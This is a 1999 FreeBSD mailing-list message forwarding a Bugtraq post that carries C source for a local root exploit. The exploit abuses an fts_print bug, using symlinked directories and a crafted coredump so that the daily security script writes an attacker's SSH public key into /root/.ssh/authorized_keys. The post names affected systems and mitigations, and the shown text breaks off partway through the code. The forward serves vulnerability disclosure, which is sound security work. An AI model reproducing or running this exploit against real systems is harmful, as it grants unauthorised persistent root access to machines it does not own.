From owner-freebsd-hackers Thu Aug 26 10:51:35 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from kang.tinet.ie (kang.tinet.ie [159.134.237.28]) by hub.freebsd.org (Postfix) with ESMTP id 0673D15DE7 for ; Thu, 26 Aug 1999 10:51:23 -0700 (PDT) (envelope-from crypt0genic@tinet.ie) Received: from p1.as1.cork1.tinet.ie ([159.134.228.1] helo=tweak.home) by kang.tinet.ie with esmtp (Exim 2.05 #23) id 11K3e7-0000aB-00 for hackers@freebsd.org; Thu, 26 Aug 1999 18:49:08 +0100 Received: (from crypt0genic@localhost) by tweak.home (8.9.3/8.9.3) id SAA00510 for hackers@freebsd.org; Thu, 26 Aug 1999 18:46:56 +0100 (IST) Date: Thu, 26 Aug 1999 18:46:54 +0100 From: crypt0genic To: hackers@freebsd.org Subject: (forw) FreeBSD (and other BSDs?) local root explot Message-ID: <19990826184654.A489@ecad.org> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=VS++wcV0S1rZb1Fb X-Mailer: Mutt 0.95.6i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --VS++wcV0S1rZb1Fb Content-Type: text/plain; charset=us-ascii This was just posted to BUGTRAQ, are the FreeBSD developers aware of this yet? -Emil -- Reverse engineering, the most fun and usually the most effective way to tackle a problem or learn something new. Public PGP key: http://www.ecad.org/crypt0genic_pgp_key Website: http://www.ecad.org/ --VS++wcV0S1rZb1Fb Content-Type: message/rfc822 Received: from localhost (localhost [127.0.0.1]) by tweak.home (8.9.3/8.9.3) with ESMTP id SAA00326 for ; Thu, 26 Aug 1999 18:09:30 +0100 (IST) Envelope-to: zip@tinet.ie Delivery-date: Thu, 26 Aug 1999 17:12:52 +0100 Received: from mail.tinet.ie by localhost with POP3 (fetchmail-5.0.5) for crypt0genic@localhost (single-drop); Thu, 26 Aug 1999 18:09:30 +0100 (IST) Received: from amulon.lightrealm.com ([216.122.36.164] helo=ecad.org) by brockman.tinet.ie with esmtp (Exim 2.05 #23) id 11K28y-0000xZ-00 for zip@tinet.ie; Thu, 26 Aug 1999 17:12:52 +0100 Received: from lists.securityfocus.com (lists.securityfocus.com [216.102.46.4]) by ecad.org (8.8.7/8.8.5) with SMTP id JAA06463 for ; Thu, 26 Aug 1999 09:11:57 -0700 (PDT) Received: (qmail 71 invoked from network); 26 Aug 1999 08:16:39 -0000 Received: from lists.securityfocus.com (216.102.46.4) by lists.securityfocus.com with SMTP; 26 Aug 1999 08:16:39 -0000 Received: from LISTS.SECURITYFOCUS.COM by LISTS.SECURITYFOCUS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 868445 for BUGTRAQ@LISTS.SECURITYFOCUS.COM; Thu, 26 Aug 1999 01:15:05 -0700 Approved-By: aleph1@SECURITYFOCUS.COM Received: from securityfocus.com (216.102.46.2) by lists.securityfocus.com with SMTP; 24 Aug 1999 21:48:23 -0000 Received: (qmail 17819 invoked by alias); 24 Aug 1999 21:48:22 -0000 Delivered-To: bugtraq@securityfocus.com Received: (qmail 17816 invoked from network); 24 Aug 1999 21:48:22 -0000 Received: from mx1.lublin.pl (root@212.182.63.76) by securityfocus.com with SMTP; 24 Aug 1999 21:48:22 -0000 Received: from lagoon.freebsd.lublin.pl ([212.182.117.180]:38159 "HELO lagoon.FreeBSD.lublin.pl") by krupik.man.lublin.pl with SMTP id ; Tue, 24 Aug 1999 23:48:01 +0200 Received: (qmail 74242 invoked by uid 66); 24 Aug 1999 21:50:25 -0000 Received: (qmail 17335 invoked from network); 24 Aug 1999 21:47:14 -0000 Received: from lagoon.gadaczka.org (HELO lagoon.gadaczka.FreeBSD.lublin.pl) (venglin@192.168.0.2) by mailhost.gadaczka.org with SMTP; 24 Aug 1999 21:47:14 -0000 X-Mailer: XFMail 1.3 [p0] on Linux X-Priority: 3 (Normal) Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT MIME-Version: 1.0 X-SMS: +48601383657@text.plusgsm.pl X-PGP: PGP key on WWW or finger X-Operating-System: FreeBSD 3.2-STABLE (i386) Message-ID: Date: Tue, 24 Aug 1999 23:47:05 +0200 Reply-To: Przemyslaw Frasunek Sender: Bugtraq List From: Przemyslaw Frasunek Organization: Lubelska Grupa Uzytkownikow BSD Subject: FreeBSD (and other BSDs?) local root explot X-To: bugtraq@securityfocus.com To: BUGTRAQ@SECURITYFOCUS.COM -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 /* (c) 1999 babcia padlina ltd. bug in fts_print function allows to overwrite any file in system, when running /etc/security script (executed from 'daily' scripts). affected systems: - freebsd (all versions) - probably openbsd/netbsd fix: - limit root's coredump size - patch libc */ #include #include #include #include #include #define STRING "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n" #define FILE "/root/.ssh/authorized_keys" #define CORE "find.core" #define DEPTH 300 #define BUFSIZE 250 int makedir(dir, linkfrom, linkto) char *dir, *linkfrom, *linkto; { if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO))) return -1; if (chdir(dir)) return -1; if (symlink(linkfrom, linkto) < 0) return -1; return 0; } int main(argc, argv) int argc; char **argv; { int i = 0; char pid[10], buf[BUFSIZE]; sprintf(pid, "%d", getpid()); if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO))) { perror("mkdir()"); return -1; } if (chdir(pid)) { perror("chdir()"); return -1; } bzero(buf, BUFSIZE); memset(buf, 0x41, BUFSIZE-1); for(i=0;i